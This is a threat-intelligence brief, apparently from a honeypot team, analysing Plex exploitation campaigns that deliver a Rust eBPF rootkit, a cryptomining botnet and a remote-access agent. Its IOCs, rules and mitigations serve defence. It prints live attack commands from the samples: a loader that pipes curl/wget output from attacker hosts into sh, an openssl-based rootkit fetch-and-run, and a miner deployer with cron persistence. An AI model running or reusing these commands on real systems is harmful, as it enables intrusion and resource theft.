TLP:CLEAR

plex2shell, part two: a Rust eBPF rootkit with Dirty Frag, and a Postgres miner botnet joins in

Follow-up to our plex2shell brief: two more operators, one shipping a VM-obfuscated eBPF rootkit behind a Cloudflare-fronted domain, one an established Postgres miner kit adding Plex as a new way in

Published 2026-10-25 Source Distributed Honeypot Observations Confidence HIGH Classification Media Server Exploitation / Rootkit / Cryptojacking

Published 2026-10-25. Follow-up to plex2shell to Dirty Frag: Plex RCE delivering a secret-stealing XMRig dropper. Counts are a snapshot at 05:00 UTC on 2026-10-25.

Update 2026-10-26 00:45 UTC: operator B shipped a maintenance release of its kit. Between 23:02 and 23:22 UTC on 2026-10-25, 130.94.112.118 served carriers to three sensors; we decoded the one sent to the first. Its command now tries four sources for the deployer in turn: both :18899 mirrors, then https://files.catbox.moe/ef05a6.sh and https://h.uguu.se/vKfdsAVN.sh on public file-sharing sites. It runs the script only if the script contains the string BADWALLET, which is how the new deployer marks its own wallet check. Both public copies are the same new plex_deploy.sh (ed4d3e1b…, 8,306 bytes, up from 5,445). The new deployer adds catbox.moe and uguu.se fallbacks for the miner and its config, including base64-encoded miner copies for hosts that block binary downloads. The two base64 files decode to statically linked x86-64 miners b0e1ae6d… (8,297,712 bytes) and b20f39fc… (8,350,992 bytes). It also stops treating a zombie miner process as alive and keeps the existing worker name instead of minting a new one on each run. It aborts if the config lacks the Plex wallet 846TCZ29… or still carries the kit's older 47p1… wallet. The wallet, pools and relays in the public config copies are unchanged from those listed below.

Update 2026-10-26 01:15 UTC: a fifth operator, 192.255.184.39 (RackNerd, AS36352), completed the chain once, against one sensor at 19:11 UTC on 2026-10-25. It probed that sensor's /identity endpoint at 16:33 and three more sensors around 20:44. Its loader is another build of the public PoC payload (pay.c, Debian GCC 12.2.0). Its carrier host, 127.0.0.1.192-255-184-39.sslip.io:19122, starts like localhost but resolves to the attacker; no other operator in our last 30 days of Plex media fetches used that prefix. The decoded command opens a reverse shell to 192.255.184.39:19122, prints P2S_OK and STAGE2_BEGIN markers, and pipes https://xue2.jiandeng.net/o/<token>/linux into sh. That script (6d2ecbf7…) downloads a hash-pinned binary for x86_64 or arm64, saves it as pipewire in the first writable, executable directory it finds, and starts it with setsid. It installs no persistence. The binary is a Rust remote-access agent that its own symbols name orbit_agent; we found no public reference to it. This build calls home to wss://xue2.jiandeng.net:443. jiandeng.net was registered on 2026-05-21; the xue2 name resolves directly to the exploit server, and VirusTotal flags neither the domain nor the host name. Our sandbox run of the x86_64 build made no DNS queries and no outbound connections in 300 seconds, so we have not seen it talk to its server. One chain is too little to say more; indicators are in the tables below.

Executive summary

Our first plex2shell brief covered one operator and noted that others had been driving the exploit at our Plex sensors without our capturing a payload. Overnight, two of them finished the chain. Their payloads point in opposite directions. One drops a 6.4 MB Rust binary that loads six eBPF programs to hide its processes and files, block debuggers and kill signals, and rewrite what other programs read from disk. It carries the same Dirty Frag kernel exploit we found in the first operator's dropper, and it is wrapped in a virtual-machine obfuscator. The other is a cryptojacking botnet we have been watching since mid-September on Postgres, Redis and Docker. It added a Plex deployer that hides its miner inside Plex's own cache directory.

Key Finding
Between 03:14 and 05:00 UTC on 2026-10-25, 91.92.40.202 delivered plex2shell carrier videos (CVE-2026-96652/96654/96655/96656) 12 times to 10 of our sensors. Each one leads to https://cdn.valorant.su/loader, a statically linked Rust rootkit that embeds the Dirty Frag LPE (CVE-2026-43500) and installs itself as a systemd service called "System Management Daemon". The domain was registered on 2026-10-17 and sits behind Cloudflare. The download server refused our pipeline's default request with a 403 and served the file once the request carried the user agent the attacker's own script sends.
2
New operators
13
Carrier deliveries
6
eBPF programs in the rootkit
6.4 MB
Rootkit binary

We decoded every carrier ourselves, recovered each follow-on stage, ran the rootkit in our sandbox, and analyzed it statically. We have not recovered the payload the rootkit carries: it is encrypted inside the binary, and our sandbox run did not reach the point where it is unpacked. This report says what the binary is built to do and marks what we watched it do.

Operators

AttributeOperator A: 91.92.40.202Operator B: 130.94.112.118
IntentCovert, persistent root access. The rootkit's final payload is encrypted and unrecovered, so the end goal is unconfirmed.Monero mining through MoneroOcean, with relays and a remote control panel.
Exploit clientUser agents poc-suite/1.0 and Go-http-client/1.1; Plex client ID vfyclient01, plus a poc_<number> ID on one request per chain.User agent Python-urllib/3.12; the same vfyclient01 and poc_<number> client IDs.
LoaderWritten from scratch: one 12-byte function (_p, from stage1.c, Debian GCC 14.2.0) that calls system().An unmodified build of the public PoC payload (pay.c, Ubuntu GCC 13.3.0).
SophisticationHIGH. Custom Rust rootkit with eBPF hiding, VM obfuscation, an embedded kernel exploit, and a stage server that filters requests by user agent.MEDIUM. A mature shell kit: version numbers in its comments, fallback mirrors, checksum checks before upgrading, wallet tamper checks, and a rival-miner cleaner.
History in our corpusRan the Plex callback and media-fetch chain against 23 sensors every day from 2026-10-19 16:29 UTC: 127 media fetches through 2026-10-24, none of whose carriers we retained. Between 2026-08-27 and 2026-09-05 the same IP logged in to our SSH sensors 722 times and ran 1,913 commands.The kit, identified by its Monero wallet, has reached us since 2026-09-15 from 8 source IPs. Those IPs mostly hit our Postgres lures, along with Redis, Docker, Elasticsearch, MySQL and MongoDB. This IP itself tried Postgres logins on 4 sensors on 2026-10-24.

The two operators share a scanner fingerprint: both send vfyclient01 and poc_<number> client IDs. The operator in our first brief used plexscan- IDs instead. We read the shared IDs as both operators running the same exploit script or close derivatives of it, not as evidence that they are the same actor. Their loaders, hosting, payloads and wallets do not overlap.

Infrastructure

Operator A
  91.92.40.202  (AS197170 TechTies Inc., NL)
    exploit + carrier server: 91-92-40-202.sslip.io:<random port>/carrier.mp4
    stage server:             91-92-40-202.sslip.io:<random port>/s
    output sink:              91-92-40-202.sslip.io:<port>/out/<16 hex>
        |
        v
  cdn.valorant.su  (Cloudflare-fronted; registered 2026-10-17, RU-CENTER)
    GET /loader  ->  Rust rootkit, served only to User-Agent: Mozilla/5.0

Operator B
  130.94.112.118  (AS154177 LIGHT NODE LIMITED, RO)
    exploit + carrier server :20037, script mirror :18899, pool relay :10001
  89.125.187.222  (AS212477 RoyaleHosting BV, NL)
    script mirror :18899, control panel https://:5432
  103.7.55.233    (AS57043 Hostkey B.V., DE)
    pool proxy :443 / :10001, panel fallback :80 / :8443
  MoneroOcean (gulf / de / fr / fi .moneroocean.stream), bore.pub relays
IndicatorVirusTotalInfrastructure classification
91.92.40.2028/92 maliciousDatacenter
cdn.valorant.su0/92Cloudflare-proxied (resolves to 172.67.188.178 and 104.21.76.57)
130.94.112.1183/92 maliciousAnonymous proxy (tunnel flagged)
89.125.187.2220/92Datacenter
103.7.55.2330/92Datacenter

Operator A never puts its own IP in a URL. Every callback, carrier and stage URL uses the sslip.io wildcard DNS name for 91.92.40.202, on a new high port each time. The rootkit download is the exception. It sits on a separate domain behind Cloudflare, so the binary's true origin is hidden and its address can't be blocked without blocking Cloudflare. Our pipeline's first fetch of /loader got a 403. The same request with User-Agent: Mozilla/5.0, the header the attacker's script sends, returned the file. The server's Last-Modified header was 2026-09-23 13:36:30 GMT, almost a month before the domain was registered on 2026-10-17, which suggests the binary predates this campaign.

The rootkit

From video to rootkit in four hops

The carrier for operator A works like the first operator's. A 640×360 MP4 hides a 13,976-byte shared object, which Plex's transcoder loads from its Codecs directory. The object holds one function in .init_array, so the loader runs it as soon as the object is loaded:

// sha256 6138d273…, function _p @ 0x1020 (12 bytes); Ghidra decompilation
void _p(void)
{
  system("/bin/sh -c 'curl -fsSk --max-time 20 http://91-92-40-202.sslip.io:44533/s 2>/dev/null | /bin/sh || wget -qO- --no-check-certificate http://91-92-40-202.sslip.io:44533/s 2>/dev/null | /bin/sh' &");
}

/s is a 2,161-byte shell script. It base64-decodes a command, which base64-decodes a second command, and runs it. Then it deletes the planted zz*.so files for this target and POSTs everything the command printed to /out/<16 hex> on the same server. The three /s scripts we collected differ only in that output ID and the target's Codecs path. The inner command is identical in all three. It skips curl and wget entirely and pipes a raw HTTP request through openssl s_client:

rm -rf hi 2>/dev/null; printf "GET /loader HTTP/1.1\r\nHost: cdn.valorant.su\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n" \
  | openssl s_client -quiet -ign_eof -connect cdn.valorant.su:443 -servername cdn.valorant.su 2>/dev/null \
  | perl -e '…strip headers, honor Content-Length, write the body to ./hi…' \
  && chmod +x hi && ./hi -c -d 2>&1; rm -rf hi 2>/dev/null

What the binary is

a8513f37… is a 6,464,360-byte statically linked, stripped x86-64 executable built with Rust 1.98.0 for x86_64-unknown-linux-musl. Its build paths name the crate experiment. VirusTotal had already seen it: 31 of 65 engines flag it, with the consensus label trojan.getshell/dirtyfrag, and ClamAV calls it Unix.Exploit.CopyFail. Our static-analysis pipeline also flagged it as UPX-packed. That is a false positive: the binary isn't packed, and the UPX! marker sits inside a block of ordinary strings. Its dependencies tell most of the story:

ComponentEvidence in the binaryRole
eBPF loaderlibbpf-rs 0.27.0, six generated skeletonsLoads the kernel-side hiding programs (below)
Obfuscationaegis_vm 0.2.52: bytecode.rs, smc.rs, integrity.rs, string_obfuscation.rs, whitebox/cipher.rsVirtual-machine obfuscation, self-modifying code, integrity checks, encrypted strings
Crypto and compressionaes-gcm, ring, hmac, sha2, zstd; source file bpf_crypto.rsDecrypting and decompressing embedded objects
Networkureq 3.4.0 over rustls 0.23.43HTTPS client; no hostname or URL appears in clear text
Embedded CGCC: (GNU) 9.4.0 and GCC: (Debian 12.2.0) comment stringsLinked-in C code, including the kernel exploit

Six eBPF programs

The skeleton files hide_pid.skel.rs, hide_files.skel.rs, ghost.skel.rs, anti_ptrace.skel.rs, protect_signal.skel.rs and cleaner.skel.rs are compiled in. So are the program and map names they load (ghost_files, ghost_fds, pending_reads, pending_stats, pending_ghost_dups) and their own log messages:

ProgramLog strings in the binaryWhat it is built to do
hide_pidhide_pid: add_pid, failed to register self pidHide the rootkit's own processes from process listings
hide_fileshide_files add ', filename too long (max 63 bytes)Hide named files from directory listings
ghostghost kretprobe ksys_read, ghost add_path, exempt_comm updateHook the kernel's read path so chosen files return different contents to every process except exempted ones
anti_ptraceanti_ptrace: add_pid, set exempt_commBlock debuggers and tracers from attaching to protected processes
protect_signalprotect_signal: add_pid, set exempt_commBlock kill signals sent to protected processes
cleaner[cleaner] killed PID, malicious HTTP script download, exe+cwd both in suspect dir, non-system exe deleted, suspicious invocation, removed malicious scriptKill other intruders' processes and delete their scripts: anything fetching a script over HTTP with curl/wget/python, running from /tmp, /dev/shm, /var/tmp or /run/user, or running from a deleted executable

Beyond eBPF, the userland side can rewrite other processes. Strings for an [execve] replaced arg in PID path and a [file-read] regex replaced in PID … /proc/<pid>/mem path show it patching argument vectors and file buffers in other processes' memory. A preload.rs module with HIDECOMM_SENTINEL and HIDENAMES_SENTINEL placeholders and a .so.1 suffix points to a second, LD_PRELOAD-based hider for kernels where eBPF is unavailable.

Dirty Frag, again

A block of C strings at 0x931785–0x93199b covers the same Dirty Frag technique as the exploit in the first operator's dropper:

The tuning variables are named POC_TARGET_FILE, POC_UNSHARE, POC_NO_UNSHARE, LPE_SEED and LPE_MAX_ITERS, which suggests a public proof-of-concept compiled in largely as published. The CLI's --no-root and --only-root flags fit a tool that tries the exploit when it lands as the unprivileged plex user.

Persistence, anti-forensics and the hidden payload

What our sandbox saw

We ran the rootkit as root, without arguments, in an isolated, egress-controlled sandbox with a 300-second window. It ran as five threads and:

It then aborted (SIGABRT, exit 134) without opening a network connection. The file reads match the anti-forensics and the cleaner logic above. The binary contains the full log-path list and history filenames (.bash_history, .zsh_history, .sh_history). We did not observe it writing to them in this run.

The Postgres botnet that added Plex

Operator B's carrier loader is a stock build of the public PoC. It runs a one-liner that downloads plex_deploy.sh into /var/tmp and installs a once-a-minute crontab entry tagged # plex_deploy_bootstrap. The entry reruns the deployer until a .deployed marker exists. The deployer's comments are in Turkish ("Plex2Shell kurulum v3 — kalıcılık + killer bypass", roughly "Plex2Shell setup v3: persistence plus killer bypass"). It does five things:

  1. Finds a writable, executable working directory: /var/tmp, /tmp, $HOME, the Plex data directory, or the Synology Plex package paths.
  2. Downloads XMRig from /bin/xmrig on either mirror (89.125.187.222:18899 or 130.94.112.118:18899), saving it as plexd. It falls back to /bin/xmrig-static if the first build won't run, and to Python's urllib if wget and curl are missing.
  3. Copies the miner into the Plex Cache directory as PlexMediaScanner, the name of a real Plex helper process. The comments call this the "killer bypass": a cleanup script looking for unfamiliar processes in temp directories will pass over a Plex-named binary in a Plex directory.
  4. Fetches plex_exp.json, or plex_exp_light.json on hosts under 8 GB of RAM, and refuses to start unless it contains its own wallet prefix (846TCZ29WgxX7GDQ) and does not contain the prefix of the kit's older wallet (47p1wUQNKMAiP254). It names the worker P_<hostname>_<digits> and sets XMRig's CPU thread hint from 85% of the core count.
  5. Installs a keeper script (.pxagent.sh, every minute from cron) and a watchdog (.pxwd.sh, a 45-second loop), then writes a status summary to /var/tmp/.pxinfo and /tmp/.pxinfo.

The same servers host the kit's general Linux installer in three variants (lx.sh, lx_exp.sh, lx-deney.sh; deney is Turkish for "experiment"). Its header calls it run.sh v14.14. It names its miner pg_wal or xmrigMiner and runs a companion process named ccd. It kills rival Postgres-focused miners by name (kdevtmpfsi, kinsing, pg_mem, postgres-kernel, zsvc, pdefenderd, updatecheckerd) and strips their crontab entries. It mines to MoneroOcean, directly or through relays on its own servers and on bore.pub, and, in two of the three variants, reports to a panel through an XMRig cc-client block. It also drops a small Bash scanner that probes random addresses for ports 22, 5432, 6379, 3306, 1433, 2375, 9200, 27017, 15672 and 9000, and flags Redis servers that answer without authentication. Variants that carry the older wallet have reached our sensors since 2026-09-15 from hosts in 86.38.182.0/24, 217.217.233.97, files.catbox.moe and the GitLab project mogh739/metrics-agents. Plex is a new entry point for an established operation.

Observed TTPs (MITRE ATT&CK)

TechniqueNameEvidence
T1190Exploit Public-Facing ApplicationBoth operators: plex2shell chain to a planted Codecs shared object
T1068Exploitation for Privilege EscalationOperator A: embedded Dirty Frag (CVE-2026-43500) targeting /etc/passwd
T1014RootkitOperator A: hide_pid, hide_files, ghost eBPF programs and an LD_PRELOAD hider
T1543.002Systemd ServiceOperator A: "System Management Daemon" unit running attach
T1053.003CronOperator A: @reboot root … attach; operator B: plex_deploy_bootstrap and .pxagent.sh entries
T1620Reflective Code LoadingOperator A: embedded binary spawned from a memfd
T1027Obfuscated Files or InformationOperator A: aegis_vm bytecode VM, self-modifying code, encrypted strings
T1070Indicator RemovalOperator A: deletion of the planted .so and the downloaded binary, drop_caches after the LPE
T1036.005Match Legitimate Name or LocationOperator B: XMRig as PlexMediaScanner in the Plex Cache directory
T1496Resource HijackingOperator B: XMRig to MoneroOcean
T1046Network Service DiscoveryOperator B: victim-side port scanner for databases and Docker

Timeline

2026-09-15
First sample of operator B's kit (older wallet) reaches our sensors, from 86.38.182.156.
2026-09-23
Last-Modified date on the rootkit served from cdn.valorant.su/loader.
2026-10-17
valorant.su registered.
2026-10-19 16:29 UTC
Operator A starts running the Plex callback and media-fetch chain against our sensors, and continues daily.
2026-10-24 05:14–12:04 UTC
130.94.112.118 tries Postgres logins on 4 sensors.
2026-10-25 03:14:58 UTC
Operator A, first carrier we retain: loader 6138d273…, stage port 44533.
2026-10-25 03:48:59 UTC
Operator A, second carrier, new stage port 42413.
2026-10-25 04:00 UTC
Our pipeline retrieves the rootkit from cdn.valorant.su after the first attempt is refused with a 403.
2026-10-25 04:05:28 UTC
Operator B completes the chain (fingerprinting began at 04:01): carrier from 130.94.112.118:20037, then plex_deploy.sh.
2026-10-25 04:10:06 UTC
Operator A, third carrier (stage port 34103). Between 04:18 and 05:00 it serves this same carrier to eight more sensors.

Exploit payloads

Operator A's carrier server keeps the same port open across targets, so one carrier URL served sensors for more than 40 minutes:

http://91-92-40-202.sslip.io:43349/carrier.mp4   first served 04:10:06 UTC, last seen 05:00:12 UTC, 9 sensors

Operator B's carrier loader command, as decoded from the video:

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; export PATH; D=/var/tmp; [ -d $D ] || D=/tmp; cd $D;
(wget -q http://89.125.187.222:18899/plex_deploy.sh -O pd.sh || curl -s http://89.125.187.222:18899/plex_deploy.sh -o pd.sh);
if command -v crontab >/dev/null 2>&1; then (crontab -l 2>/dev/null | grep -v plex_deploy_bootstrap;
  echo "* * * * * [ -f $D/.deployed ] || /bin/sh $D/pd.sh >> $D/deploy.log 2>&1 # plex_deploy_bootstrap") | crontab - 2>/dev/null; fi;
/bin/sh pd.sh >> $D/deploy.log 2>&1

Indicators of compromise

Network

IndicatorRole
91.92.40.202 / 91-92-40-202.sslip.ioOperator A exploit, carrier, stage and output server (random high ports)
cdn.valorant.su (/loader)Operator A rootkit download, Cloudflare-fronted, user-agent gated
192.255.184.39 / 127.0.0.1.192-255-184-39.sslip.io (:19122)Fifth operator: exploit client, carrier server and reverse-shell listener
xue2.jiandeng.net (resolves to 192.255.184.39)Fifth operator: stage script, agent download and agent C2 (wss://…:443)
130.94.112.118 (:20037, :18899, :10001, :443)Operator B exploit and carrier server, script mirror, pool relay, panel fallback
89.125.187.222 (:18899, :5432)Operator B script mirror; HTTPS control panel on the Postgres port
103.7.55.233 (:443, :10001, :80, :8443)Operator B pool proxy and panel fallback
139.99.69.109:10001Hard-coded pool address in operator B's config
bore.pub:62571, :62572, :62620, :62621Operator B pool relays on a public tunneling service

Files

SHA-256SizeDescription
a8513f37db3089424693c687a3c64c03f36faa47d861abd0162c9bcb942c6a1f6,464,360Operator A Rust eBPF rootkit (/loader)
6138d2730cb4cb926835a6f5d40a8bb2e58b9d57935afb1cc70dfa2c4376536a13,976Operator A carrier loader (stage port 44533)
71092d135e5ca64c922ed52400c25bed38fcf2c02655e9bc9c68f24ea10e6ffb13,976Operator A carrier loader (stage port 42413)
ee30da78f378b6727e7dd430a4a419c81794a94329f2e906804d6e42d6baf58813,976Operator A carrier loader (stage port 34103)
79d735ccdeb9b8a612e47c0f01153b942cc4b020c8720168e381e7d89090c2c68,212Operator A carrier MP4
71b9fa03f8890adf8e0fc83cbaf950a8133d0226dd26b78125b63fba4b3e25628,221Operator A carrier MP4
cb1e445f448f41c9018ece0ce264e26f97edff3ed97706854c5ecb3964e533748,224Operator A carrier MP4 (served to 9 sensors)
1848f22fe4b3b13b7e206149587c40efb212a48be16550abf9c072fc3c25bc5b2,161Operator A /s stage
88a7a71c1f5a8943bb3fa9be6b9d78a840ad5bbc732957126b9a4283fcc754e02,161Operator A /s stage
55e3591e17123a8f9f9afdcf753cae03c7c990b53a041217dc24d966f603fe682,161Operator A /s stage
2bb8ff409d4cc3ba63db3909b8d506d9d800ea2142ac78a13fb39171742b1f629,465Operator B carrier MP4
5dd7cc7866e11933e1b1f9ed8fb030651179113430a4c0adc3548eceb602f76713,864Operator B carrier loader (public PoC build)
56b1122546d77218da446247dff021daa077610e825e4c9980958aab1c23c5dc5,445Operator B plex_deploy.sh
ed4d3e1bab3e35f6dab3ed47facfe9827622c95019030f74064ff30c97ad274c8,306Operator B plex_deploy.sh, 2026-10-25 release (also on catbox.moe / uguu.se)
b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d8,297,712Operator B miner, decoded from https://d.uguu.se/WbltoMEb.b64
b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b498,350,992Operator B static miner, decoded from https://h.uguu.se/RQMNTTyV.b64
6d2ecbf76c31f01bff375a824cb50ec8bea638727b2d25b581417e77bb0f6a152,834Fifth operator stage script (/o/<token>/linux)
c29ed8b47da9f0d97191db4379747b0754f6a3fa5776cb466d0c8fe12f4e9f2c7,421,304Fifth operator Orbit agent, x86_64 (dropped as pipewire)
7716b9384895f7366990c7311cb3257450b93600cd70c19474eee3f056134c175,317,120Fifth operator Orbit agent, arm64 (dropped as pipewire)
13004cea9ceaff6655b04d448f2b2420cd870de7c222a856f4de60e6f7c27fc113,776Fifth operator carrier loader (public pay.c)
d0503f8387c050f99c1ffc73dc37c7fd6daaf722077f43e0a8446b2419016d7526,730Operator B lx.sh (89.125.187.222)
5dd2a0d8024f8e4c24eb77085e9cc7a0c0acffdc9814d63d3c83810fba4707d426,730Operator B lx.sh (130.94.112.118)
3f75ef95c9e8e6a3bf2721ccb0d01eb8bad47f21554b37d96e71dfea37914c7a26,731Operator B lx_exp.sh
4f8f58d34b17ea14939e98a906f9887c337880ba8c62ddd51938a85ac2c8896626,755Operator B lx-deney.sh

Host artifacts

ArtifactOperator
Codecs zz<long digits>.so (deleted after use), a short-lived ./hi in Plex's working directoryA
systemd unit with Description=System Management Daemon and ExecStart=… attachA
/etc/cron.d/ entry @reboot root … attachA
Pinned eBPF objects or programs named hide_pid, hide_files, ghost, anti_ptrace, protect_signal, cleaner (check bpftool prog list from a trusted kernel view)A
/var/tmp/pd.sh, deploy.log, .deployed, .pxagent.sh, .pxwd.sh, .pxwd.pid, .pxlog, .pxinfo, plexdB
PlexMediaScanner inside Plex's Cache directory; crontab tags plex_deploy_bootstrap and zzcc-kdB
Working directories named .kd under /var/run/postgresql, /opt, $HOME, /var/tmp, /tmp or /dev/shm; processes ccd, pg_wal, xmrigMinerB

Wallets

846TCZ29WgxX7GDQfjmaZRBjLu9XWhJjtWoc5m2AdDXy4XUnURR8CuMAK6gdmthHXJJr6CMcSF4Na8zfGUeHhD952XrmeCn   (operator B, Plex and current lx variants)
47p1wUQNKMAiP2547VLSb8EAEgKEe2MDF9S71MPkhCcd8SZMjxQe9cpQtNcyc3V8CHFdbcP9dij31MWFAZHj5EtkL3tQvhp   (operator B, older kit since 2026-09-15)

Mitigations and detection

ActionPriorityDetail
Update Plex Media ServerCRITICALReleases before 1.43.3.10861 are affected (per NVD). All four CVEs are in CISA's Known Exploited Vulnerabilities catalog.
Patch the kernelCRITICALOperator A turns a plex-user foothold into root with CVE-2026-43500. If you cannot patch, block unprivileged user namespaces and the rxrpc module.
Rebuild, don't clean, hosts with operator A artifactsCRITICALThe rootkit hides files and processes from the running kernel and can change what file reads return. Anything you inspect from inside the host may be filtered. Examine the disk offline.
Hunt eBPF and unitsHIGHLook for unexpected eBPF programs (bpftool prog), a "System Management Daemon" unit, and @reboot … attach cron entries.
Hunt the Plex directoriesHIGHzz*.so under Codecs; any executable, especially PlexMediaScanner, under Cache.
Block egressMEDIUMBlock the operator B addresses and relays above. Operator A's rootkit host is behind Cloudflare, so block cdn.valorant.su by name in DNS or your proxy.

Suricata

alert tls $HOME_NET any -> any 443 (msg:"COWRAI plex2shell operator A rootkit host cdn.valorant.su"; flow:to_server,established; tls.sni; content:"cdn.valorant.su"; nocase; sid:9902501; rev:1;)
alert http $HOME_NET any -> any any (msg:"COWRAI plex2shell operator A stage fetch via sslip.io"; flow:to_server,established; http.host; content:"91-92-40-202.sslip.io"; nocase; sid:9902502; rev:1;)
alert http $HOME_NET any -> any 18899 (msg:"COWRAI plex2shell operator B deployer fetch"; flow:to_server,established; http.uri; content:"/plex_deploy.sh"; sid:9902503; rev:1;)

Collection methodology

All data in this report was collected organically by a distributed honeypot fleet deployed across multiple cloud providers and geographic regions. Some nodes run a Plex Media Server lure that plays the plex2shell chain just far enough to receive the attacker's carrier video, and never decodes or executes anything. Carriers were decoded offline in an isolated environment. Follow-on stages named in each decoded command were retrieved by our collection pipeline. The rootkit was run in an isolated, egress-controlled sandbox that recorded a packet capture and a file-access trace, and was analyzed statically with a disassembler. Statements about what the rootkit is built to do come from its strings, symbols and build metadata. Statements about what it did come from the sandbox run, and the text says which is which.

IP registration data and domain registration dates come from live WHOIS lookups. Reputation figures come from live VirusTotal lookups. Infrastructure classification comes from a commercial IP-intelligence API. All lookups were made on the publication date. Event counts and times were queried from the fleet's event store at write time. Times are when our collector received each event.